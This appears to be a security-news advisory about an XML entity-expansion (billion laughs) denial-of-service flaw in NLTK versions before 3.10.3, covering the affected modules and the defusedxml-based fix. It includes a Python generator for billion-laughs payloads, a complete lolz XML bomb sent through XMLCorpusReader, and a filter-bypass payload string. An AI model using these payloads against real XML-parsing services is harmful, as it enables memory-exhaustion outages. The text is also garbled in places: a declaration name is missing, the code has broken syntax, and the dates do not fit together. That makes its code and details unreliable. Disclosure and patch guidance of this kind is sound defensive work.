Listen to this Post
NLTK versions prior to 3.10.3 utilize Python’s standard `xml.etree.ElementTree` library for XML parsing across several modules. By default, this parser processes Document Type Definitions (DTDs) and honors `` declarations within them. This behavior allows an attacker to craft a malicious XML document containing recursively nested entities—a classic “billion laughs” attack. Such a payload, only a few hundred bytes in size, can expand exponentially during parsing, consuming megabytes of memory and leading to a denial-of-service (DoS).
The vulnerable code paths exist in several key NLTK components:
`nltk.chunk.named_entity.load_ace_file`
`nltk.internals.ElementWrapper`
`nltk.downloader` (`Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`)
While `libexpat 2.6.0` introduced an input-amplification cap, it only activates above a threshold (~8 MiB output). Furthermore, this cap is dependent on the specific `libexpat` version linked by the Python interpreter; builds against older versions lack any protection whatsoever. As `ElementTree` does not resolve external entities, this is a memory-amplification DoS (CWE-776) rather than an XXE for file disclosure.
The fix addresses these missed parsing sites by routing them through a new `nltk.xmlsec` module. This module prefers the `defusedxml` library to refuse entity declarations and falls back to a pre-scan using the standard-library `xml.parsers.expat` when `defusedxml` is unavailable.
DailyCVE Form:
Platform: NLTK (Python)
Version: <= 3.10.2
Vulnerability: XML Entity Expansion
Severity: High
date: 2026-08-25
Prediction: 2026-06-12
What Undercode Say:
Below are analytics, commands, and codes demonstrating the vulnerability and its mitigation.
Amplification Factor (Vulnerable Path):
A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:
– 3 levels: 218 bytes input → 10,000 bytes expanded (x45)
– 4 levels: 274 bytes input → 100,000 bytes expanded (x364)
– 5 levels: 330 bytes input → 1,000,000 bytes expanded (x3,030)
– 6 levels: 386 bytes input → libexpat 2.7.1 cap trips
PoC: Generating the “Billion Laughs” Payload
import xml.etree.ElementTree as ET
def bomb(levels):
d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))10}">' for i in range(1, levels+1))
return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
This creates an element whose .text is 1,000,000 characters long
ET.fromstring(bomb(5))
Patched Entry Point Rejects It:
<blockquote>
<blockquote>
<blockquote>
from nltk.internals import ElementWrapper
ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)
Bypassing a Text-Based Filter:
A simple guard that scans for ` evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>' Raw ElementTree -> EXPANDS nltk.xmlsec -> REJECTED (EntitiesForbidden)
Both Back Ends Block It:
The `nltk.xmlsec` module, whether using `defusedxml` or the stdlib `xml.parsers.expat` fallback, successfully rejects the malicious payloads.
Exploit: (Educational Purposes!)
To exploit this vulnerability, an attacker would provide a crafted XML file to an application using a vulnerable NLTK function. For example, using the nltk.corpus.reader.xmldocs.XMLCorpusReader:
import os
import tempfile
from nltk.corpus.reader.xmldocs import XMLCorpusReader
Create a temporary directory and a malicious XML file
d = tempfile.mkdtemp()
malicious_xml = """<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>"""
open(os.path.join(d, "evil.xml"), "w").write(malicious_xml)
This will expand the entities and cause memory exhaustion
XMLCorpusReader(d, ["evil.xml"]).xml("evil.xml")
Protection:
Immediate Upgrade: The most effective protection is to upgrade to NLTK version 3.10.3 or later, which incorporates the fix.
Input Validation: If an immediate upgrade is not possible, implement strict input validation to reject any XML documents containing DTDs or entity declarations.
Parser Configuration: Configure the `xml.etree.ElementTree` parser to use a safe sub-class or disable external general and parameter entities.
Monitoring: Monitor system memory usage during XML parsing operations to detect anomalous spikes indicative of an attack.
Impact:
Denial of Service (DoS): Successful exploitation leads to a denial-of-service condition. The application can become unresponsive or crash due to excessive memory consumption, rendering the service unavailable.
Resource Exhaustion: The attack rapidly exhausts available system memory, potentially affecting other processes or services running on the same host.
Remote Attack Vector: This vulnerability can be triggered remotely by providing malicious input to an application that processes user-supplied or external XML data.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

